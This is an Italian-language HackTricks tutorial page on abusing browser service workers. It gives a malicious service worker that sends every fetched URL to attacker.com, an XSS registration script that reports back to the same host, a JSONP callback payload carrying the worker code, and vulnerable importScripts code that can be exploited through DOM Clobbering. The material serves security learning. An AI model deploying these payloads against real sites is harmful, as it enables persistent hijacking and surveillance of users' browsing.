7.8 KiB
Abusing Service Workers
{% hint style="success" %}
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: 
HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Un service worker è uno script eseguito dal tuo browser in background, separato da qualsiasi pagina web, che abilita funzionalità che non richiedono una pagina web o interazione dell'utente, migliorando così le capacità di elaborazione offline e in background. Informazioni dettagliate sui service worker possono essere trovate qui. Sfruttando i service worker all'interno di un dominio web vulnerabile, gli attaccanti possono ottenere il controllo sulle interazioni della vittima con tutte le pagine all'interno di quel dominio.
Checking for Existing Service Workers
I service worker esistenti possono essere controllati nella sezione Service Workers della scheda Application negli Strumenti per sviluppatori. Un altro metodo è visitare chrome://serviceworker-internals per una vista più dettagliata.
Push Notifications
Le autorizzazioni per le notifiche push influenzano direttamente la capacità di un service worker di comunicare con il server senza interazione diretta dell'utente. Se le autorizzazioni vengono negate, si limita il potenziale del service worker di costituire una minaccia continua. Al contrario, concedere autorizzazioni aumenta i rischi per la sicurezza abilitando la ricezione e l'esecuzione di potenziali exploit.
Attack Creating a Service Worker
Per sfruttare questa vulnerabilità è necessario trovare:
- Un modo per caricare file JS arbitrari sul server e un XSS per caricare il service worker del file JS caricato
- Una richiesta JSONP vulnerabile dove puoi manipolare l'output (con codice JS arbitrario) e un XSS per caricare il JSONP con un payload che caricherà un service worker malevolo.
Nel seguente esempio presenterò un codice per registrare un nuovo service worker che ascolterà l'evento fetch e invierà al server degli attaccanti ogni URL recuperato (questo è il codice che dovresti caricare sul server o caricare tramite una risposta JSONP vulnerabile):
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
E questo è il codice che registrerà il worker (il codice che dovresti essere in grado di eseguire abusando di un XSS). In questo caso, una richiesta GET verrà inviata al server degli attaccanti notificando se la registrazione del service worker è stata completata con successo o meno:
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
In caso di abuso di un endpoint JSONP vulnerabile, dovresti inserire il valore all'interno di var sw. Ad esempio:
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
C'è un C2 dedicato all'sfruttamento dei Service Workers chiamato Shadow Workers che sarà molto utile per abusare di queste vulnerabilità.
La direttiva di cache di 24 ore limita la vita di un service worker (SW) malevolo o compromesso a un massimo di 24 ore dopo una correzione della vulnerabilità XSS, assumendo uno stato client online. Per minimizzare la vulnerabilità, gli operatori del sito possono ridurre il Time-To-Live (TTL) dello script SW. Si consiglia inoltre agli sviluppatori di creare un kill-switch per il service worker per una rapida disattivazione.
Abusare di importScripts in un SW tramite DOM Clobbering
La funzione importScripts chiamata da un Service Worker può importare uno script da un dominio diverso. Se questa funzione viene chiamata utilizzando un parametro che un attaccante potrebbe modificare, sarebbe in grado di importare uno script JS dal suo dominio e ottenere XSS.
Questo bypassa anche le protezioni CSP.
Esempio di codice vulnerabile:
- index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
- sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
Con DOM Clobbering
Per ulteriori informazioni su cosa sia il DOM Clobbering, controlla:
{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}
Se l'URL/dominio che il SW sta usando per chiamare importScripts è all'interno di un elemento HTML, è possibile modificarlo tramite DOM Clobbering per far sì che il SW carichi uno script dal tuo dominio.
Per un esempio di questo, controlla il link di riferimento.
Riferimenti
{% hint style="success" %}
Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.